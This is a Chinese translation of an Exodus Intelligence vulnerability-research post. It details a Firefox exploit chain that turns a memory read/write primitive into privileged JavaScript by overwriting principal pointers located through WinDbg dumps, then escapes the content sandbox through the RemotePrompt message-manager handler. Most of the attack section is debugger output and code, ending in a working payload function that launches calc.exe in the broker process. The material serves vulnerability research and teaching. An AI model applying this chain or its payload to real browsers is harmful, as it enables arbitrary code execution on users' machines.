Firefox漏洞研究

  • A+

译文声明
本文是翻译文章,文章原作者By Arthur Gerkis and David Barksdale 文
章来源:https://blog.exodusintel.com/category/vulnerability-analysis/ 原文地址:https://blog.exodusintel.com/2020/11/10/firefox-vulnerability-research-part-2/
译文仅供参考,具体内容表达以及含义原文为准

这一系列的文章公开了一些Firefox的旧研究,我们的零日客户在它被公开之前就已经访问了,以及我们的N日客户在它被打补丁之后访问。我们还在我们的Vuln-Dev大师课上用这项研究来教授浏览器开发。

前一篇文章中,我们分析了Firefox WebAssembly部分代码中的一个整数下流,并使用它在沙箱内容过程中读写内存。在这篇文章中,我们将使用它来执行内容进程中的任意代码,并最终将沙箱逃逸到代理进程并执行calc.exe。

执行特权JavaScript

在这里,我们将讨论一种利用读取和写入内存的能力来执行特权JavaScript的技术。关于Firefox脚本安全架构的概述可以在这里找到。有一个仅针对基于Firefox的浏览器的JavaScript对象,称为组件。普通内容页使用内容主体运行,并有此对象的一个有限版本。具有系统主体的页面具有对对象的完全访问权,并且可以使用它来访问本机XPCOM对象。目标是通过以下步骤访问一个特权组件对象:

  1. 查找并泄露系统主体的地址;
  2. 查找并用系统主体覆盖实际的文件箱主体;这提供了访问特权对象属性的能力;
  3. 查找并覆盖iframe主体与系统主体;这使我们可以将特权页面加载到实际iframe;
  4. 将特权页面加载到iframe并访问其组件。

查找系统负责人

我们首先使用前面发现的TypedArray对象的地址找到xul.dll的基地址。在这个对象的偏移0xC处是一个指向xul.dll模块的指针。所有模块都加载在0x10000字节边界上,并包含可移植的可执行签名' MZ '作为第一个16位字。我们简单地开始在内存中向后搜索签名边界上的xul.dll指针。

一旦我们在内存中找到xul.dll,我们就可以解析它的导出表来查找模块内的各种符号。我们寻找的第一个符号是nsLayoutModule_NSModule。这是一个包含有用指针的结构,如下所示。第13行

1. 0:033> ln xul + 0x1e25620
2. (55265620) xul!nsLayoutModule_NSModule | (55265624) xul!docshell_provider_NSModule
3. Exact matches:
4. xul!nsLayoutModule_NSModule = 0x557f3b58
5.
6. 0:033> dt xul!nsLayoutModule_NSModule
7. 0x557f3b58
8. +0x000 mVersion : 0x34
9. +0x004 mCIDs : 0x557f3270 mozilla::Module::CIDEntry
10. +0x008 mContractIDs : 0x557f2650 mozilla::Module::ContractIDEntry
11. +0x00c mCategoryEntries : 0x557f3008 mozilla::Module::CategoryEntry
12. +0x010 getFactoryProc : (null)
13. +0x014 loadProc : 0x539ef4f9 nsresult xul!Initialize+0
14. +0x018 unloadProc : 0x5358734f void xul!LayoutModuleDtor+0
15. +0x01c selector : 4 ( ALLOW_IN_GPU_PROCESS )
16.

我们沿着loadProc指针指向函数初始化,如下所示。第8行

1. xul!Initialize [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\build\nslayoutmodule.cpp @ 353]:
2. 539ef4f9 803d94179d5500 cmp byte ptr [xul!gInitialized (559d1794)],0
3. 539ef500 0f85bdc73500 jne xul!Initialize+0x35c7ca (53d4bcc3)
4. 539ef506 833dc01e9f5505 cmp dword ptr [xul!mozilla::startup::sChildProcessType (559f1ec0)],5
5. 539ef50d 7420 je xul!Initialize+0x36 (539ef52f)
6. 539ef50f 56 push esi
7. 539ef510 c60594179d5501 mov byte ptr [xul!gInitialized (559d1794)],1
8. 539ef517 e80613f6ff call xul!nsXPConnect::InitStatics (53950822)
9. 539ef51c e811000000 call xul!nsLayoutStatics::Initialize (539ef532)

我们反汇编此函数,并按照调用nsXPConnect :: InitStatics,如下所示。第24行

1. xul!operator new [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\xpconnect\src\nsxpconnect.cpp @ 109]
2. [inlined in xul!nsXPConnect::InitStatics [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\xpconnect\src\nsxpconnect.cpp @ 109]]:
3. 53950822 6a10 push 10h
4. 53950824 ff15cc432655 call dword ptr [xul!_imp__moz_xmalloc (552643cc)]
5. 5395082a 59 pop ecx
6. 5395082b 85c0 test eax,eax
7. 5395082d 0f84d8b43c00 je xul!nsXPConnect::InitStatics+0x3cb4e9 (53d1bd0b)
8. 53950833 8bc8 mov ecx,eax
9. 53950835 e824180000 call xul!nsXPConnect::nsXPConnect (5395205e)
10. 5395083a 83780800 cmp dword ptr [eax+8],0
11. 5395083e 56 push esi
12. 5395083f a33cd79c55 mov dword ptr [xul!nsXPConnect::gSelf (559cd73c)],eax
13. 53950844 be18dd4055 mov esi,offset xul!`string' (5540dd18)
14. 53950849 0f84c3b43c00 je xul!nsXPConnect::InitStatics+0x3cb4f0 (53d1bd12)
15. 5395084f 50 push eax
16. 53950850 e87531b5ff call xul!mozilla::widget::myDownloadObserver::AddRef (534a39ca)
17. 53950855 e8b26af0ff call xul!nsScriptSecurityManager::InitStatics (5385730c)
18. 5395085a a1645c9d55 mov eax,dword ptr [xul!gScriptSecMan (559d5c64)]
19. 5395085f 6810d79c55 push offset xul!nsXPConnect::gSystemPrincipal (559cd710)
20. 53950864 50 push eax
21. 53950865 a340d79c55 mov dword ptr [xul!nsXPConnect::gScriptSecurityManager (559cd740)],eax
22. 5395086a 8b08 mov ecx,dword ptr [eax]
23. 5395086c ff5124 call dword ptr [ecx+24h]
24. 5395086f 833d10d79c5500 cmp dword ptr [xul!nsXPConnect::gSystemPrincipal (559cd710)],0

我们反汇编此函数并找到nsXPConnect :: gSystemPrincipal的地址,这是爸爸汽车的钥匙。

查找和覆盖文档隔层负责人

我们想要覆盖的分区主体可以使用我们之前喷洒到堆上的iframe找到。为了找到主体的位置,我们从包含iframe的JSObject开始,并沿着指针的路径,直到找到相关的JSCompartment对象,如下所示。
第6、11、19、25、36行

``
1. 0:033> ddp 067bbc40 L14/4
2. 067bbc40 0df34a48 5596b084 xul!mozilla::dom::HTMLIFrameElementBinding::sClass
3. 067bbc44 0df48bf8 0df352c8
4. 067bbc48 00000000
5. 067bbc4c 552701c8 55529c74 xul!js_Object_str
6. 067bbc50 0dde6780 5535b7b0 xul!mozilla::dom::HTMLIFrameElement::
vftable'
7.

8. 0:033> dt 0dde6780 xul!mozilla::dom::HTMLIFrameElement
9. +0x000 __VFN_table : 0x5535b7b0
10. +0x004 __VFN_table : 0x55271f84
11. +0x008 mWrapper : 0x067bbc40 JSObject
12. +0x00c mFlags : 0x100004
13. +0x010 mNodeInfo : RefPtr
14. +0x014 mParent : 0x11872ce0 nsINode
15. +0x018 mBoolFlags : 0x2000e
16. [skip]
17.

18. 0:033> dd 0x067bbc40 L1
19. 067bbc40 0df34a48
20.

21. 0:033> dt 0df34a48 js::ObjectGroup
22. xul!js::ObjectGroup
23. +0x000 clasp_ : 0x5596b084 js::Class
24. +0x004 proto_ : js::GCPtr
25. +0x008 compartment_ : 0x1183ac00 JSCompartment
26. +0x00c flags_ : 0
27. +0x010 addendum_ : (null)
28. +0x014 propertySet : (null)
29.

30. 0:033> dt 0x1183ac00 JSCompartment
31. xul!JSCompartment
32. +0x000 creationOptions_ : JS::CompartmentCreationOptions
33. +0x014 behaviors_ : JS::CompartmentBehaviors
34. +0x024 zone_ : 0x06b46800 JS::Zone
35. +0x028 runtime_ : 0x04b86108 JSRuntime
36. +0x02c principals_ : 0x04b8e444 JSPrincipals
37. +0x030 isSystem_ : 0
38. [skip]

```

我们写入以前找到的系统主体的值,以将0x2C偏移到这个JSCompartment对象中。

查找并重写mOwnerManager主体

将有特权的页面加载到我们的iframe中需要重写iframe的mOwnerManager主体。这是通过从上面找到的HTMLIFrameElement对象开始的指针的类似路径找到的。第6、12、27、35、49行。

1. 0:033> dt 0dde6780 xul!mozilla::dom::HTMLIFrameElement
2. +0x000 __VFN_table : 0x5535b7b0
3. +0x004 __VFN_table : 0x55271f84
4. +0x008 mWrapper : 0x067bbc40 JSObject
5. +0x00c mFlags : 0x100004
6. +0x010 mNodeInfo : RefPtr<mozilla::dom::NodeInfo>
7. +0x014 mParent : 0x11872ce0 nsINode
8. +0x018 mBoolFlags : 0x2000e
9. [skip]
10.
11. 0:033> dd 0dde6780
12. 0dde6780 5535b7b0 55271f84 067bbc40 00100004
13. 0dde6790 118c5100 11872ce0 0002000e 00000000
14. 0dde67a0 06cd59c0 00000000 118fc800 0cb0f940
15. 0dde67b0 00000014 04bd2f00 00020000 00000400
16. 0dde67c0 5535b5bc e5e5e5e5 5535b59c 5535b590
17. 0dde67d0 00000000 559e3364 5535b558 0cb0f820
18. 0dde67e0 00000000 00000000 e5e5e500 e5e5e5e5
19. 0dde67f0 5535b4e8 e5e5e5e5 e5e5e5e5 e5e5e5e5
20.
21. 0:033> dt 0x118c5100 mozilla::dom::NodeInfo
22. xul!mozilla::dom::NodeInfo
23. +0x000 mRefCnt : nsCycleCollectingAutoRefCnt
24. =5597ee68 _cycleCollectorGlobal : mozilla::dom::NodeInfo::cycleCollection
25. +0x004 mDocument : 0x1154a800 nsIDocument
26. +0x008 mInner : mozilla::dom::NodeInfo::NodeInfoInner
27. +0x020 mOwnerManager : RefPtr<nsNodeInfoManager>
28. +0x024 mQualifiedName : nsString
29. +0x030 mNodeName : nsString
30. +0x03c mLocalName : nsString
31.
32. 0:033> dd 0x118c5100
33. 118c5100 00000004 1154a800 062c6160 00000000
34. 118c5110 00000003 e5e50001 00000000 00000000
35. 118c5120 06cc0130 5599a914 00000006 00000005
36. 118c5130 118c6088 00000006 00000005 5599a914
37. 118c5140 00000006 00000005 e5e5e5e5 e5e5e5e5
38. 118c5150 0dc91550 00000000 00000000 00000000
39. 118c5160 00000000 00000000 00000000 00000000
40. 118c5170 00000000 00000000 00000000 00000000
41.
42. 0:033> dt 06cc0130 nsNodeInfoManager
43. xul!nsNodeInfoManager
44. =5597efc0 _cycleCollectorGlobal : nsNodeInfoManager::cycleCollection
45. +0x000 mRefCnt : nsCycleCollectingAutoRefCnt
46. +0x004 mNodeInfoHash : 0x0db8d780 PLHashTable
47. +0x008 mDocument : 0x1154a800 nsIDocument
48. +0x00c mNonDocumentNodeInfos : 0x12
49. +0x010 mPrincipal : nsCOMPtr<nsIPrincipal>
50. +0x014 mDefaultPrincipal : nsCOMPtr<nsIPrincipal>
51. +0x018 mTextNodeInfo : 0x11872ab0 mozilla::dom::NodeInfo
52. +0x01c mCommentNodeInfo : (null)
53. +0x020 mDocumentNodeInfo : 0x11872600 mozilla::dom::NodeInfo
54. +0x024 mBindingManager : RefPtr<nsBindingManager>
55. [skip]

然后写入之前找到的系统主体的值,将0x10偏移到这个nsNodeInfoManager对象中。

JavaScript访问特权

现在我们可以将特权页面about:newtab加载到我们的iframe中,并使用下面的JavaScript访问Components对象。

1. iframe.src = 'about:newtab';
2. iframe.onload = function() {
3. privilegedWindow = iframe.contentWindow;
4. // Components object accessible via privilegedWindow.Components
5. };

转义内容流程沙箱

在这里,我们描述了一种通过内容流程的进程间通信在代理进程中执行特权JavaScript的技术。通过引入代理进程显示的一种新类型的提示,为了减轻提示欺骗,对该技术进行了修改

内容进程和代理进程通过进程间通信相互通信。虽然这是由C/ c++代码实现和使用的,但对于Firefox来说,有一个额外的通信通道由特权JavaScript使用。它被称为消息管理器,负责在不同窗口之间传递消息。

消息管理器早在沙盒引入之前就引入了,但主要目标是支持chrome和内容之间的传统交互方法,同时从单一进程架构转移到多个进程架构。

其中一个交互称为RemotePrompt,如下所示。第11、25行

```
1. var RemotePrompt = {
2. init: function() {
3. let mm = Cc["@mozilla.org/globalmessagemanager;1"].getService(Ci.nsIMessageListenerManager);
4. mm.addMessageListener("Prompt:Open", this);
5. },
6.

7. receiveMessage: function(message) {
8. switch (message.name) {
9. case "Prompt:Open":
10. if (message.data.uri) {
11. this.openModalWindow(message.data, message.target);
12. } else {
13. this.openTabPrompt(message.data, message.target)
14. }
15. break;
16. }
17. },
18. [skip]
19. openModalWindow: function(args, browser) {
20. let window = browser.ownerGlobal;
21. try {
22. PromptUtils.fireDialogEvent(window, "DOMWillOpenModalDialog", browser);
23. let bag = PromptUtils.objectToPropBag(args);
24.

25. Services.ww.openWindow(window, args.uri, "_blank",
26. "centerscreen,chrome,modal,titlebar", bag);
27.

28. PromptUtils.propBagToObject(bag, args);
29. } finally {
30. PromptUtils.fireDialogEvent(window, "DOMModalDialogClosed", browser);
31. browser.messageManager.sendAsyncMessage("Prompt:Close", args);
32. }
33. }

```

函数receiveMessage()接收所有传入的消息,只处理名称提示符:Open的消息,并根据uri参数的存在决定在哪里传递执行。如果参数存在,openModalWindow()函数将使用参数中提供的URI在代理进程中执行并创建一个新窗口。新创建的窗口具有系统主体。通过将数据URI作为参数传递,将在代理进程中加载并执行任意JavaScript代码。

下面是这种技术的一个示例,它将从代理进程启动calc.exe。

1. function executePayload(privilegedWindow) {
2. var payload = [];
3. // This is something to execute within privileged JavaScript. For example,
4. // in current case a calc.exe is executed with Medium Integrity Level.
5. payload.push('var { interfaces: Ci, utils: Cu, classes: Cc } = Components;');
6. payload.push('localFile = Cc["@mozilla.org/file/local;1"].createInstance(Ci.nsILocalFile);');
7. payload.push('process = Cc["@mozilla.org/process/util;1"].createInstance(Ci.nsIProcess);');
8. payload.push('args = [];');
9. payload.push('localFile.initWithPath("C:\\\\WINDOWS\\\\system32\\\\calc.exe");');
10. payload.push('process.init(localFile);');
11. payload.push('process.run(false, args, args.length);');
12.
13. // This will get a ContentFrameMessageManager
14. var cfmm = privilegedWindow.QueryInterface(Ci.nsIInterfaceRequestor).
15. getInterface(Ci.nsIDocShell).
16. QueryInterface(Ci.nsIInterfaceRequestor).
17. getInterface(Ci.nsIContentFrameMessageManager);
18. // This sends a message through the message manager to the broker process
19. cfmm.sendAsyncMessage('Prompt:Open', { uri: 'data:text/html,<script>' + payload.join('') + '; close();</script>' });
20. }

下面的视频演示了整个漏洞利用链。

1.gif